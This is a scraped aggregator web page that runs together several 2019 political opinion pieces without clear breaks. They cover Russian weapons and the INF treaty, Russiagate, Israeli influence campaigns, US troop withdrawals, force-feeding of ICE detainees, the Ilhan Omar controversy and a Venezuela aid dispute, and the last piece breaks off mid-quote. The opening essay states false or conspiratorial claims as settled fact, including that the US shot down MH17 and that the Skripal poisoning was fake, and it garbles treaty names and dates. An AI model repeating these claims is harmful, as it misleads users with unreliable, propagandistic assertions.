Sarmat: a new heavy intercontinental missile that can fly arbitrary suborbital courses (such as over the South Pole) and strike arbitrary points anywhere on the planet. Because it does not follow a predictable ballistic trajectory it is impossible to intercept. Are You Tired Of The Lies And Non-Stop Propaganda? Get Your FREE Daily Newsletter The initial Western reaction to this announcement was an eerie silence. A few people tried to convince anyone who would listen that this was all bluff and computer animation, and that these weapons systems did not really exist. (The animation was of rather low quality, one might add, probably because Russian military types couldnt possibly imagine that slick graphics, such as what the Americans waste their money on, would make Russia any safer.) But eventually the new weapons systems were demonstrated to work and US intelligence services confirmed their existence. Forced to react, the Americans, with the EU in tow, tried to cause public relations scandals over some unrelated matter. Such attempts are repeated with some frequency. For instance, after the putsch in the Ukraine caused Crimea to go back to Russia there was the avalanche of hysterical bad press about Malaysian Airlines flight MH17, which the Americans had shot down over Ukrainian territory with the help of Ukrainian military.



Similarly, after Putins announcement of new weapons systems, there was an eruption of equally breathless hysterics over the alleged Novichok poisoning of Sergei Skripal and his daughter. A couple of Russian tourists, if you recall, were accused of poisoning Skripal by smearing some toxic gas on the doorknob of his house some time after he left it never to return. Perhaps such antics made some people feel better, but opposing new, breakthrough weapons systems by generating fake news does not an adequate response make.



Say what you will about the Russian response to the US pulling out of the ABM treaty, but it was adequate. It was made necessary by two well-known facts. First, the US is known for dropping nuclear bombs on other countries (Hiroshima, Nagasaki). It did so not in self-defense but just to send a message to the USSR that resistance would be futile (a dumb move if there ever was one). Second, the US is known to have repeatedly planned to destroy the USSR using a nuclear first strike. It was prevented from carrying it out time and again, first by a shortage of nuclear weapons, then by the development of Soviet nuclear weapons, then by the development of Soviet ICBMs.



Ronald Reagans Star Wars was an attempt to develop a system that would shoot down enough Soviet ICBMs to make a nuclear first strike on the USSR winnable. This work was terminated when Reagan and Gorbachev signed the Anti-Ballistic Missile Treaty in December, 1987. But then when Bush Jr. pulled out of the ABM treaty in 2002 it was off to the races again. Last year Putin declared that Russia has won: the Americans can now rest assured that if they ever attack Russia the result will be their complete, guaranteed annihilation, and the Russians can rest secure in the knowledge that the US will never dare to attack them.



But that was just the prelude. The real victory happened on February 2, 2019. This day will be remembered as the day when the Russian Federation decisively defeated the United States in the battle for Eurasiafrom Lisbon to Vladivostok and from Murmansk to Mumbai.



So, what did the Americans want, and what did they get instead? They wanted to renegotiate the INF treaty, revise some of the terms and expand it to include China. Announcing that the US is suspending the INF treaty, Trump said: I hope we're able to get everybody in a big, beautiful room and do a new treaty that would be much better By everybody Trump probably meant the US, China and Russia.



Why the sudden need to include China? Because China has an entire arsenal of intermediate-range weapons with a range of 500-5500 (the ones outlawed by the INF treaty) pointed at American military bases throughout the regionin South Korea, Japan and Guam. The INF treaty made it impossible for the US to develop anything that could be deployed at these bases to point back at China.



Perhaps it was Trumps attempt to practice his New York real-estate moguls art of the deal among nuclear superpowers, or perhaps its because imperial hubris has rotted the brains of just about everyone in the US establishment, but the plan for renegotiating the INF treaty was about as stupid as can be imagined: Accuse Russia of violating the INF treaty based on no evidence. Ignore Russias efforts to demonstrate that the accusation is false. Announce pull-out of the INF treaty. Wait a while, then announce that the INF treaty is important and essential. Condescendingly forgive Russia and offer to sign a new treaty, but demand that it include China. Wait while Russia convinces China that it should do so. Sign the new treaty in Trumps big, beautiful room. So, how did it actually go? Russia instantly announced that it is also pulling out of the INF treaty. Putin ordered foreign minister Lavrov to abstain from all negotiations with the Americans in this matter. He then ordered defense minister Shoigu to build land-based platforms for Russias new air and ship-based missile systemswithout increasing the defense budget. Putin added that these new land-based systems will only be deployed in response to the deployment of US-made intermediate-range weapons. Oh, and China announced that it is not interested in any such negotiations. Now Trump can have his big, beautiful room all to himself.



Why did this happen? Because of the INF treaty, for a long time Russia has had a giant gaping hole in its arsenal, specifically in the 500-5500 km range. It had air-launched X-101/102s, and eventually developed the Kalibr cruise missile, but it had rather few aircraft and shipsenough for defense, but not enough to guarantee that it could reliably destroy all of NATO. As a matter of Russias national security, given the permanently belligerent stance of the US, it was necessary for NATO to know that in case of a military conflict with Russia it will be completely annihilated, and that no air defense system will ever help them avoid that fate.



If you look at a map, you will find that having weapons in the 500-5500 km range fixes this problem rather nicely. Draw a circle with a 5500 km radius around the Russian enclave of Kaliningrad; note that it encompasses every single NATO country, North Africa and Middle East. The IMF treaty was not necessarily a good deal for Russia even when it was first signed (remember, Gorbachev, who signed it, was a traitor) but it became a stupendously bad deal as NATO started to expand east. But Russia couldnt pull out of it without triggering a confrontation, and it needed time to recover and rearm.



Already in 2004 Putin announced that Russia needs a breakthrough in order to have a new generation of weapons and technology. At the time, Americans ignored him, thinking that Russia could fall apart at any moment and that they will be able to enjoy Russian oil, gas, nuclear fuel and other strategic commodities for free forever even as the Russians themselves go extinct. They thought that even if Russia tried to resist, it would be enough to bribe some traitorslike Gorbachev or Yeltsinand all would be well again.



Fast-forward 15 years, and is that what we have? Russia has rebuilt and rearmed. Its export industries provide for a positive trade balance even in absence of oil and gas exports. It is building three major export pipelines at the same timeto Germany, Turkey and China. It is building nuclear generating capacity around the world and owns a lions share of the worlds nuclear industry. The US can no longer keep the lights on without Russian nuclear fuel imports. The US has no new weapons systems with which to counter Russias rearmament. Yes, it talks about developing some, but all it has at this point are infinite money sinks and lots of PowerPoint presentations. It no longer has the brains to do the work, or the time, or the money.



Part of Putins orders upon pulling out of the INF treaty was to build land-based medium-range hypersonic missiles. Thats a new twist: not only will it be impossible to intercept them, but they will reduce NATOs remaining time to live, should it ever attack Russia, from minutes to seconds. The new Poseidon nuclear-powered torpedo was mentioned too: even if an attack on Russia succeeds, it will be a Pyrrhic one, since subsequent 100-foot nuclear-triggered tsunamis will wipe clean both coasts of the United States for hundreds of miles inland, effectively reducing the entire country to slightly radioactive wasteland.



Not only has the US lost its ability to attack, it has also lost its ability to threaten. Its main means of projecting force around the world is its navy, and Poseidon reduces it to a useless, slow-moving pile of scrap steel. It would take just a handful of Poseidons quietly shadowing each US aircraft carrier group to zero out the strategic value of the US Navy no matter where in the world it is deployed.



Without the shackles of the INF treaty, Russia will be able to fully neutralize the already obsolete and useless NATO and to absorb all of Europe into its security sphere. European politicians are quite malleable and will soon learn to appreciate the fact that good relations with Russia and China are an asset while any dependence on the US, moving forward, is a huge liability. Many of them already understand which way the wind is blowing.



It wont be a difficult decision for Europes leaders to make. On the one pan of the scale there is the prospect of a peaceful and prosperous Greater Eurasia, from Lisbon to Vladivostok and from Murmansk to Mumbai, safe under Russias nuclear umbrella and tied together with Chinas One Belt One Road.



On the other pan of the scale there is a certain obscure former colony lost in the wilds of North America, imbued with an unshakeable faith in its own exceptionalism even as it grows ever weaker, more internally conflicted and more chaotic, but still dangerous, though mostly to itself, and run by a bloviating buffoon who cant tell the difference between a nuclear arms treaty and a real estate deal. It needs to be quietly and peacefully relegated to the outskirts of civilization, and then to the margins of history.



Trump should keep his own company in his big, beautiful room, and avoid doing anything anything even more tragically stupid, while saner minds quietly negotiate the terms for an honorable capitulation. The only acceptable exit strategy for the US is to quietly and peacefully surrender its positions around the world, withdraw into its own geographic footprint and refrain from meddling in the affairs of Greater Eurasia. Orlov is one of the better-known thinkers The New Yorker has dubbed 'The Dystopians' in an excellent 2009 profile. He is best known for his 2011 book comparing Soviet and American collapse (he thinks America's will be worse). He is a prolific author on a wide array of subjects, and you can see his work by searching him on Amazon. This article was originally published by " Club Orlov "- Do you agree or disagree? Post your comment here ==See Also== Note To ICH Community We ask that you assist us in dissemination of the article published by ICH to your social media accounts and post links to the article from other websites. Thank you for your support. Peace and joy The views expressed in this article are solely those of the author and do not necessarily reflect the opinions of Information Clearing House. Search Information Clearing House === Click Here To Support Information Clearing House Your support has kept ICH free on the Web since 2002. Click for Spanish , German , Dutch , Danish , French , translation- Note- Translation may take a moment to load.Russiagate Is Finished

By Moon Of Alabama

February 12, 2019 " Information Clearing House " - For more than two years U.S. politicians, the media and some bloggers hyped a conspiracy theory. They claimed that Russia had somehow colluded with the Trump campaign to get him elected.

An obviously fake 'Dirty Dossier' about Trump, commissioned by the Clinton campaign, was presented as evidence. Regular business contacts between Trump flunkies and people in Ukraine or Russia were claimed to be proof for nefarious deals. A Russian click-bait company was accused of manipulating the U.S. electorate by posting puppy pictures and crazy memes on social media. Huge investigations were launched. Every rumor or irrelevant detail coming from them was declared to be - finally - the evidence that would put Trump into the slammer. Every month the walls were closing in on Trump.

At the same time the very real Trump actions that hurt Russia were ignored.

Finally the conspiracy theory has run out of steam. Russiagate is finished :

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After two years and 200 interviews, the Senate Intelligence Committee is approaching the end of its investigation into the 2016 election, having uncovered no direct evidence of a conspiracy between the Trump campaign and Russia, according to both Democrats and Republicans on the committee.

...

Democrats and other Trump opponents have long believed that special counsel Robert Mueller and Congressional investigators would unearth new and more explosive evidence of Trump campaign coordination with Russians. Mueller may yet do so, although Justice Department and Congressional sources say they believe that he, too, is close to wrapping up his investigation.

Nothing, zero, nada was found to support the conspiracy theory. The Trump campaign did not collude with Russia. A few flunkies were indicted for unrelated tax issues and for lying to the investigators about some minor details. But nothing at all supports the dramatic claims of collusion made since the beginning of the affair.

In a recent statement House leader Nancy Pelosi was reduced to accuse Trump campaign officials of doing their job:

The indictment of Roger Stone makes clear that there was a deliberate, coordinated attempt by top Trump campaign officials to influence the 2016 election and subvert the will of the American people. ...

No one called her out for spouting such nonsense.

Russiagate created a lot of damage.

The alleged Russian influence campaign that never happened was used to install censorship on social media. It was used to undermine the election of progressive Democrats. The weapon salesmen used it to push for more NATO aggression against Russia. Maria Butina, an innocent Russian woman interested in good relation with the United States, was held in solitary confinement (recommended) until she signed a paper which claims that she was involved in a conspiracy.

In a just world the people who for more then two years hyped the conspiracy theory and caused so much damage would be pushed out of their public positions. Unfortunately that is not going to happen. They will jump onto the next conspiracy train continue from there.

This article was originally published by

"

Moon Of Alabama

"-

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Peace and joyFormer Israeli spies tried to influence local US election: Report

By Press TV and New Yorker

February 12, 2019 " Information Clearing House " - A defunct private intelligence agency in Israel attempted to influence at least one local US election and other domestic affairs, according to a report by US media.

The company, Psy-Group, even courted President Donald Trump's 2016 campaign and is now under investigation by the special counsel Robert Mueller, according to the report from The New Yorker.

Mueller is investigating alleged Russian collusion with Trump's election campaign during the 2016 US presidential election.

The company also tried to influence local elections in the US in favor of private clients, using smear campaigns and other methods including fake websites and online avatars to change the elections outcome.

Company architects

The New Yorker named Ram Ben-Barak, who was previously a deputy director of Mossad, and Yaakov Amidror, the former national security adviser to Israel's Prime Minister Benjamin Netanyahu, as the agents behind its operations.

Psy-Group's owner, Joel Zamel, described by US media as an Israeli social media expert who specializes in "social media manipulation", is known to have founded several companies, including one offering 'honey traps' and 'deep web' capabilities.

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Zamel met with Donald Trump Jr. and Erik Prince (the brother of Education Secretary Betsy DeVos) at Trump Tower to pitch the company's services.

Sales pitch

Psy-Group, in a one-page website that gave a Cyprus address and a slogan Shape Reality, offered its service for influence campaigns, boasting that they could "plant the seeds of thought in people."

The Israeli company offered clients an array of servicesincluding honey traps, a term used by spy agencies for an intelligence-gathering tactic using romantic or sexual relationships to extract information.

The Israeli firm also advertised its services in the deep web and boasted Darknet capabilities.

"We are looking at the tip of the iceberg in terms of where this can go," a former Israeli private intelligence worker reportedly told The New Yorker.February 12, 2019 " Information Clearing House " - Sarah Leah Whitson, the head of Human Rights Watchs Middle East division, was fiercely attacked by anti-Palestinian groups and pundits this weekend.

She had shared a posting of mine on the manufactured Labour anti-Semitism crisis story .

My tweet included an article from last year in which I reported a clear example of Israeli interference in British politics.

The Act.IL organization, which is coordinated and backed by Israels so-called Ministry of Strategic Affairs , had used a troll army to spread false information about Jeremy Corbyn  the leader of the UKs official opposition party.

Whitson commented, Why is this #Israel interference in domestic UK politics acceptable? Is it only a problem when Russia does this?

Why is this #israel interference in domestic UK politics acceptable? Is it only a problem when Russia does this? https://t.co/frsAdFXpez

Both are pertinent questions.

But predictably, Israels propagandists attacked the article as anti-Semitic conspiracy theories.

Executive Director of @hrw, @sarahleah1 shares antisemitic conspiracy theories on manufactured antisemitism crisis of #UKs Labour Party, then claims its because of #Israel interference. Human Rights Watch - this is what you stand for?! pic.twitter.com/cbGun6r7mF  StandWithUs (@StandWithUs) February 9, 2019

Executive Director of @hrw, @sarahleah1 shares antisemitic conspiracy theories on manufactured antisemitism crisis of #UKs Labour Party, then claims its because of #Israel interference. Human Rights Watch - this is what you stand for?! pic.twitter.com/cbGun6r7mF  StandWithUs (@StandWithUs) February 9, 2019

Yesterday @sarahleah1 of @hrw said #Israel manufactures & is responsible for Antisemitism crisis in UK Labour.



Today, Member of U.S. Congress @IlhanMN implies @AIPAC is buying American politicians to be pro-Israel.



This is progressive #Antisemitism & bigotry! Welcome to 2019! pic.twitter.com/ydZjk4z6RW  Arsen Ostrovsky (@Ostrov_A) February 11, 2019

Mideast director for @HRW endorses Electronic @Intifada conspiracy about long-running influence operation by Israel and its lobby groups to smear Corbyn, a veteran Palestine solidarity activist and to label the party he leads institutionally anti-Semitic. https://t.co/2bWLrg7mt1  Noga Tarnopolsky (@NTarnopolsky) February 10, 2019

What Whitsons attackers refused to address was the substance of the report. Instead, they falsely accused her of spreading anti-Semitism.

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This is a deliberate tactic to distract from how Israel interferes in domestic UK politics  and indeed around the world.

What I reported  and has still not been contested, let alone refuted  is the fact that in August last year, a well-funded group called Act.IL had used a troll army to spread anti-Corbyn and anti-Labour propaganda in the UK.

A mission on the app directed users to comment on Facebook in response to a Huffington Post UK story about Corbyns alleged anti-Israel remarks, which the Israel-backed app claimed are often a way to hide anti-Semitism.

Since that report, The Electronic Intifada has obtained further evidence that Act.ILs budget is more than $1 million.

An internal report states that, based out of media rooms in Israel, the US and the UK, Act.IL can direct an army of more than than 15,000 propagandists via its app.

Israel's "https://t.co/MecswWW4zn" troll army of 15k is operated from "media rooms" in 3 countries.



It attempted to fix @GMB's Eurovision poll & has a budget of $1.1m. Stated goal: "influence foreign publics" to "battle" against BDS.



Evidence: Pages from their annual report: pic.twitter.com/SdILsZa9d2  Asa Winstanley (@AsaWinstanley) February 8, 2019

This is only one example of Israeli interference in the UK. Here are some recent examples that we have reported in detail.

In January 2017, an Israeli embassy spy, Shai Masot, was expelled from the UK after plotting to take down a senior Conservative minister, and other members of Parliament.

That same month it was revealed that Joan Ryan  Israels top MP within the UK Labour Party  fabricated an allegation of anti-Semitism at Labours annual conference in order to smear a party member and Palestine solidarity campaigner.

At that same conference, undercover video taken by an Al Jazeera reporter shows Masot telling Ryan, who is chair of Labour Friends of Israel, that he had secured more than one million pounds in Israeli government funding to bring UK lawmakers on junkets to Israel.

And last year we obtained a document proving that Ella Rose, the Jewish Labour Movements then director, had privately admitted to working closely with Shai Masot  that same Israeli embassy spy.

We work with Shai, we know him very well, she said in undercover footage.

Rose herself had only recently been working directly at the embassy, and is still involved with the JLM  one of the most prominent anti-Corbyn groups.

But for anti-Palestinian propagandists, all these uncontested facts are ignored, or dismissed as a conspiracy theory or anti-Semitic.

The defamation against those who report factually about Israel and its campaigns to influence politics overseas as anti-Semitic is not only deeply dishonest, but actively damaging to genuine anti-racist efforts to fight anti-Semitism  which is rising globally in Israel-allied countries such as Ukraine and Hungary.

"

The Electronic Intifada"

-

Do you agree or disagree? Post your comment here

==See Also==

How the Israel Lobby Influences British Politics

In case you missed it: The Lobby: Young Friends of Israel: Al Jazeera goes undercover inside the Israel Lobby in Britain.

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Peace and joyPresident Starts a War? Congress Yawns. Threatens to End One? Condemnation!

By Ron Paul

February 12, 2019 " Information Clearing House " - Last weeks bipartisan Senate vote to rebuke President Trump for his decision to remove troops from Syria and Afghanistan unfortunately tells us a lot about what is wrong with Washington, DC. While the two parties loudly bicker about minor issues, when it comes to matters like endless wars overseas they enthusiastically join together. With few exceptions, Republicans and Democrats lined up to admonish the president for even suggesting that its time for US troops to come home from Afghanistan and Syria.

The amendment, proposed by the Senate Majority Leader and passed overwhelmingly by both parties, warns that a precipitous withdrawal of United States forces from the ongoing fightin Syria and Afghanistan, could allow terrorists to regroup. As one opponent of the amendment correctly pointed out, a withdrawal of US troops from Afghanistan is hardly precipitous since theyve been there for nearly 18 years! And with al-Qaeda and ISIS largely defeated in Syria a withdrawal from that country would hardly be precipitous after almost five years of unauthorized US military action.

Senators supporting the rebuke claim that US troops cannot leave until every last ISIS fighter is killed or captured. This is obviously a false argument. Al-Qaeda and ISIS did not emerge in Iraq because US troops left the country  they emerged because the US was in the country in the first place. Where was al-Qaeda in Iraq before the 2003 US invasion the neocons lied us into? There werent any.

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US troops occupying Iraqi territory was, however, a huge incentive for Iraqis to join a resistance movement. Similarly, US intervention in Syria beginning under the Obama Administration contributed to the growth of terrorist groups in that country.

We know that US invasion and occupation provides the best recruiting tools for terrorists, including suicide terrorists. So how does it make sense that keeping troops in these countries in any way contributes to the elimination of terrorism? As to the vacuum created in Syria when US troops pull out, how about allowing the government of Syria to take care of the problem? After all, its their country and theyve been fighting ISIS and al-Qaeda since the US helped launch the regime change in 2011. Despite what you might hear in the US mainstream media, its Syria along with its allies that has done most of the fighting against these groups and it makes no sense that they would allow them to return.

Congress has the Constitutional responsibility and obligation to declare war, but this has been ignored for decades. The president bombs far-off lands and even sends troops to fight in and occupy foreign territory and Congress doesnt say a word. But if a president dares seek to end a war suddenly the sleeping Congressional giant awakens!

Ive spent many years opposing Executive branch overreach in matters where the president has no Constitutional authority, but when it comes to decisions on where to deploy or redeploy troops once in battle it is clear that the Constitution grants that authority to the commander-in-chief. The real question we need to ask is why is Congress so quick to anger when the president finally seeks to end the longest war in US history?

This article was originally published by

"

The Ron Paul Institute for Peace and Prosperity

" -Starving For Justice





ICE detainees on hunger strike are being force-fed, just like Guantanamo detainees before them



By A. Naomi Paik

February 12, 2019 " Information Clearing House " - U.S. Immigration and Customs Enforcement, or ICE, is force-feeding nine detainees who are on a hunger strike at a detention center in El Paso , Texas.

The protesters are mostly from India and are being held in ICE custody while their asylum or immigration cases are processed. Since the beginning of the year, they have been protesting their detainment and mistreatment by guards who they allege have threatened them with deportation and withheld information about their cases, according to the detainees lawyers.

In mid-January , a federal court ordered ICE to force-feed the strikers. An ICE official stated : For their health and safety, ICE closely monitors the food and water intake of those detainees identified as being on a hunger strike. ICE policy states that the agency authorizes involuntary medical treatment if a detainees health is threatened by hunger striking.

Force-feeding involves tying a detainee to a bed , inserting a feeding tube down the nose and esophagus and pumping liquid nutrition into the stomach. ICE detainees have reported rectal bleeding and vomiting as a consequence of being force-fed.

As I write in my book  Rightlessness  and research published elsewhere , this is not the first time U.S. government agencies have force-fed people in its custody.

Since 2005, the U.S. military has force-fed detainees at the Guantanamo Bay naval base whenever they would go on a hunger strike to protest their indefinite detention.

Force-feeding at Guantanamo

The U.S. military has indefinitely detained individuals at Guantanamo who it alleges are enemy combatants in the war on terror since 2002 .

Hunger strikes have plagued Guantanamo since it opened in 2002. In one of the largest hunger strikes to occur in a U.S. detention facility, about 500 detainees stopped eating under the slogan  starvation until death  in late June 2005.

They began this strike to protest the conditions of their confinement, including alleged beatings, abuse of their religious freedom by mishandling the Koran and indefinite detention without trial.

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In response, military doctors authorized  involuntary intravenous hydration and/or enteral tube feeding   in other words, IV treatment and force-feeding.

Prisoners found ways to get around the feedings, like making themselves vomit or siphoning out their stomachs by sucking on the external end of the feeding tube.

The strike overwhelmed camp commanders. In December 2005, they called in help from the Federal Bureau of Prisons , which had previously authorized force-feeding. The consultants observed as strikers were force-fed twice a day and recommended using the emergency restraint chair , a padded cell on wheels.

That requires strapping detainees down onto the chair, making it easier for guards to insert and remove a feeding tube. Detainees referred to it as the  execution chair . This had the desired effect on the prisoners: Only a handful continued the hunger strike and it was over by February 2006 . The camp ordered 20 more chairs .

A painful process

In 2013, a widespread hunger strike again swept through Guantanamo  106 of 166 prisoners participated. Forty-one detainees met the requirements for being force-fed: skipping nine consecutive meals or their BMI dropping below 85 percent of their intake weight.

One participant, Samir Naji al Hasan Moqbel , a Yemini citizen detained for 11 years, told The New York Times, I had never experienced such pain as from the feedings.

AP Photo/Charles Dharapak

Detainees who participated in the numerous strikes over the years have consistently described the force-feeding process, including having teams of five guards who hold down the prisoner, as torture . Some reported being overfed to the point where they vomited up what was forced down their throats.

I will not eat until they restore my dignity, Moqbel said. He said he hoped that because of the pain we are suffering the eyes of the world will once again look to Guantanamo before it is too late.

Legal challenges

Guantanamo hunger strikers filed lawsuits against the U.S. government for force-feeding prisoners and using the restraint chair.

Several judges ruled that force-feedings are legal. In one case, a judge wrote that it did not constitute a violation of the Eighth Amendment against cruel and unusual punishment. Rather, she wrote that administrators are acting out of a need to preserve the life of the Petitioners rather than letting them die.

This contradicts what many experts the medical and human rights professionals have said about force-feeding.

The World Medical Association , an international medical ethics organization, asserted that force-feeding is unjustifiable. Organizations ranging from the ACLU to Human Rights Watch condemn the practice as  inherently cruel, inhuman, and degrading .

Another federal judge in a 2009 followed a Supreme Court ruling deciding that courts have no jurisdiction over Guantanamo  a camp physically located in Cuba but governed by the United States.

Similarly, federal courts have limited power to intervene on behalf of the ICE detainees because immigrant detention is not considered punishment and thus not protected by due process rights. In Wong Wing v. United States (1896), the Supreme Court ruled that the Constitution does not apply to the conditions of immigrant detention.

While the courts can authorize interventions requested by the government such as force-feeding, immigrant detainees have limited power to appeal to courts about the conditions of their detention.

As with the Guantanamo detainees, migrants are risking starvation, but not because they want to die. As Amrit Singh, the uncle of two men being force-fed, stated , They want to know why they are still in the jail and want to get their rights and wake up the government immigration system. Hunger striking offers one of few ways they can protest their prolonged confinement in pursuit of this goal.

A. Naomi Paik -

Assistant Professor of Asian American Studies, University of Illinois at Urbana-Champaign

This article was originally published by " The Conversation " -Pelosi Pulls anti-Semetic Card - as Freshman Lawmaker States The Facts





Democrats moved quickly after the freshman lawmaker suggested support for Israel stemmed from campaign donations.



By MelanieZanona and Heather Caygle



February 12, 2019 "

Information Clearing House

" - Rep. Ilhan Omar apologized for anti-Semitic comments Monday after coming under pressure from Speaker Nancy Pelosi and other top Democrats.



The Minnesota Democrat sparked a firestorm Sunday night when she implied lawmakers' support for Israel is driven by campaign donations from pro-Israel groups.



"My intention is never to offend my constituents or Jewish Americans as a whole," Omar said in a statement Monday afternoon. "We have to always be willing to step back and think through criticism, just as I expect people to hear me when others attack me for my identity. This is why I unequivocally apologize."



Omar's statement came after Pelosi and her top lieutenants sharply condemned the freshman lawmaker's comments and called on her to immediately apologize in what was an extraordinary rebuke of a colleague within their party.Congresswoman Omars use of anti-Semitic tropes and prejudicial accusations about Israels supporters is deeply offensive, said Pelosi, Majority Leader Steny Hoyer, House Majority Whip Jim Clyburn and other party leaders in a statement. We condemn these remarks and we call upon Congresswoman Omar to immediately apologize for these hurtful comments.

This is the second time in recent weeks Omar has had to walk back controversial comments related to Jews and Israel that were condemned by lawmakers within both parties as offensive and anti-Semitic.

Democratic leaders faced growing pressure to weigh in after the freshman Democrat suggested in a tweet Sunday night that Republican support for Israel is fueled by campaign donations from pro-Israel groups like the American Israel Public Affairs Committee.

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Pelosi said in a tweet that Monday that she had talked with Omar and the two of them agreed that we must use this moment to move forward as we reject anti-Semitism in all forms.

Democratic leaders also added in their statement that legitimate criticism of Israels policies is protected by the values of free speech and democratic debate that the United States and Israel share.

Pelosi moved quickly after Republicans and other high-profile Democrats, including key chairmen, criticized Omar over her comments.

House Foreign Affairs Chairman Eliot Engel (D-N.Y.), who leads a panel on which Omar serves,, didnt mention her by name but said it was shocking to hear a fellow lawmaker invoke the anti-Semitic trope of Jewish money.

House Judiciary Committee Chairman Jerry Nadler of New York issued a separate statement calling Omars remarks deeply hurtful and offensive, particularly after several other controversial comments she made about Israel have come to light in recent weeks.

It is deeply disappointing and disturbing to hear Rep. Ilhan Omars choice of words in her exchange with a journalist yesterday, wherein she appears to traffic in old anti-Semitic tropes about Jews and money, Nadler said.

House Intelligence Committee Chairman Adam Schiff of California also said he was deeply dismayed with Omars comments. Its never acceptable to give voice to, or repeat, anti-Semitic smears, he said. That goes for Rep. Omar, and it also goes for Republicans who have trafficked in anti-Semitic attacks on George Soros and others.

Meanwhile, House Minority Leader Kevin McCarthy vowed to take disciplinary action against Omar "this week". One option under consideration, according to his office, is forcing a vote on a resolution by Rep. Lee Zeldin of New York condemning anti-Semitism.

"House Democrat leadership continues to be silent as Americans from both sides of the aisle condemn this rhetoric and pattern of behavior," McCarthy said in a statement Monday. "In the face of that abdication of leadership, Republicans will take action this week to ensure the House speaks out against this hatred and stands with Israel and the Jewish people."

The statements from top Democrats and Republicans follow an effort by a pair of rank-and-file members earlier Monday to garner support for a letter demanding that leadership condemn Omars latest statements.

Democratic Reps. Josh Gottheimer of New Jersey and Elaine Luria of Virginia, two Jewish members, planned to send to Democratic leaders a letter expressing deep concern over recent rhetoric from certain members within our Caucus, including just last night, that has disparaged us and called into question our loyalty to our nation. The letter, which was obtained by POLITICO, is being circulated to Jewish Democrats.

We urge you to join us in calling on each member of our Caucus to unite against anti- Semitism and hateful tropes and stereotypes, the lawmakers wrote in the letter. In recent weeks, we have had conversations with multiple members of our Caucus who share our concerns about this rhetoric; we have also raised these concerns with Democratic leadership.

We must speak out when any Member  Democrat or Republican  uses harmful tropes and stereotypes, levels accusations of dual loyalty, or makes reckless statements like those yesterday, they added.

Omar and Rashida Tlaib (D-Mich.) have been repeatedly slammed by the GOP for their critical views of Israel and support for the Boycott, Divestment and Sanctions movement, which targets Israels treatment of Palestinians. But Omars latest tweet earned rebukes from members of her own party, including freshman Reps. Max Rose and Anthony Brindisi, both of New York.

House Minority Whip Steve Scalise of Louisiana and House Republican Conference Chair Liz Cheney of Wyoming also called for Omar to lose her seat on the Foreign Affairs Committee.

Republicans are accusing Democrats of hypocrisy, because they were quick to punish Rep. Steve King (R-Iowa) last month after he defended white nationalism and white supremacy, which McCarthy said recently were equivalent, or even more so, to the rhetoric of Omar and Tlaib. The full House rebuked King on the House floor, while the GOP stripped King of his committee assignments.

When a member on our side of the aisle said something, they were very clear about what they thought should happen, McCarthy said. We took action on our own side. When they stay silent, they are just as guilty.

This article was originally published by " Politico " -

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==See Also==

Trump Calls For Rep. Omar To Resign As Conservatives Fume Over Democrat Double-Standards

An Al Jazeera Reporter Went Undercover with the Pro-Israel Lobby In Washington

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Peace and joyWestern Media Fall in Lockstep for Cheap Trump/Rubio Venezuela Aid PR Stunt

By Adam Johnson



February 12, 2019 " Information Clearing House " - The Trump administrations now completely overt effort to overthrow Venezuelan President Nicolas Maduro had a very successful public relations effort this week, as major Western media outlets uniformly echoed its simplistic, pre-packaged claim that the Venezuelan government was heartlessly withholding foreign aid:

All of the above articlesand scores more like it repeated the same script: Maduro was blocking aid from the US out of refusal to relinquish power, preferring to starve his own people rather than feed them. Its a simple case of good and evilof a tyrannical, paranoid dictator not letting in aid to feed a starving population.

Except three pieces of key context are missing. Context that, when presented to a neutral observer, would severely undermine the cartoonish narrative being advanced by US media.

Both the Red Cross and UN warned the US not to engage in this aid PR stunt. The bridge in question is a visual metaphor contrived by the Trump administration of little practical relevance. The person in charge of US operations in Venezuela has a history of using aid as a cover to deliver weapons to right-wing mercenaries.

(1) Not only has the international aid community not asked for the aid, earlier this week, both the International Red Cross and United Nations warned the US to explicitly not engage in these types of PR stunts. As Washington Post contributor Vincent Bevins pointed out , the transparent cynicism of these efforts was preemptively warned about by the groups actually charged with keeping starving people fed:

Red Cross Warns US About Risks of Sending Aid to Venezuela (PBS NewsHour , 2/1/19): The International Committee of the Red Cross has warned the United States about the risks of delivering humanitarian aid to Venezuela without the approval of security forces loyal to President Nicolas Maduro.

***

UN Warns Against Politicizing Humanitarian Aid in Venezuela (Reuters , 2/6/19): UNITED NATIONS  The United Nations warned on Wednesday against using aid as a pawn in Venezuela after the United States sent food and medicine to the countrys border and accused President Nicolas Maduro of blocking its delivery with trucks and shipping containers.

Indeed, as Bevins also noted , the Red Cross has long been working with local authorities inside Venezuela to deliver relief, and just last week doubled its budget to do so. We have ample evidence the Maduro government is more than willing to work with international aid when its offered in good faith, not when its a thinly veiled mechanism to spur civil war and contrive PR victories for those seeking to overthrow the government. Its not just Maduroas the Western media are presenting itwho opposes the US aid convoy; its the UN and Red Cross. Why do none of the above reports note this rather key piece of information, instead giving the reader the impression its only the stance of a sadistic, power-hungry madman?

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(2) Despite dozens of media outlets giving the impression (and sometimes explicitly saying ) that the Venezuelan government shut down an otherwise functioning pathway into the country, the bridge in question hasnt been open for years.

Its true the Venezuelan government appears to have placed an oil tanker and cargo containers on the bridge to prevent incursion from the Colombian side, but the other barriers, as writer and software developer Jason Emery noted , have been in place since at least 2016. According to La Opinion ( 2/5/16 ), after its initial construction in 2015, the bridge has never been open to traffic. How can Maduro, as the BBC suggested , reopen a bridge that was never open?

The reality is BBC and other Western media were just going along with the narrative pushed by Sen. Marco Rubio and Trump Secretary of State Mike Pompeo, not bothering to check if their primary visual narrative was based on a bad faith, context-free PR stunt.

This point is a relatively superficial one, but in a long term PR battle to win over Western liberals for further military escalation, the superficial matters a lot. Rubio and the Trump administration cooked up a gimmicky visual metaphor, and almost every outlet uncritically passed it along, often making factually inaccurate assumptions along the wayassumptions the Trump State Department and CIA coordinating the effort knew very well they would make.

(3) The Venezuelan government has an entirely rational reason to suspect the US would use humanitarian aid as a cover to smuggle in weapons to foment armed conflict: The person running quarterback for Trump on the current Venezuela operation, Elliot Abrams , literally did just that 30 years ago.

From the first two paragraphs (emphasis added) of a 1987 AP/New York Times article on Elliott Abrams, Abrams Denies Wrongdoing in Shipping Arms to Contras ( 8/17/87 h/t Kevin Gosztola ):

